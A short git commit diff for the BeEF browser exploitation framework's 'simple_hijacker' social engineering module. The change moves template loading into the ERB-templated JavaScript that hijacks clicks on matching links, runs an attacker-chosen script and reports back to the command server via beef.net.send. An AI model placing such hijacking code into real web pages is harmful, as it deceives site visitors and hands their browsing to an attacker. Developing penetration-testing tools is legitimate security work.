Change stupid code that made this module unusable with the API to something less stupid (i hope)

This commit is contained in:
Jean-Louis Huynen
2012-09-05 15:15:56 +02:00
parent 05d7fe3adf
commit 716e7fe712
2 changed files with 7 additions and 3 deletions

View File

@@ -24,7 +24,13 @@ hijack = function(){
if ($j(this).attr('href') != '')
{
if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{
<%= instance_variable_get("@#{@choosetmpl}") %>
<%
tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js"
file = File.open(tplpath, "r")
@template = file.read
%>
<%= @template %>
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href'));
}
}

View File

@@ -29,8 +29,6 @@ class Simple_hijacker < BeEF::Core::Command
@templates.each{ |template|
tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js"
raise "Invalid template path for command template #{template}" if not File.exists?(tplpath)
file = File.open(tplpath, "r")
data.push({'name' => template, 'type' => 'hidden', 'value' => file.read})
tmptpl<<[ template]
}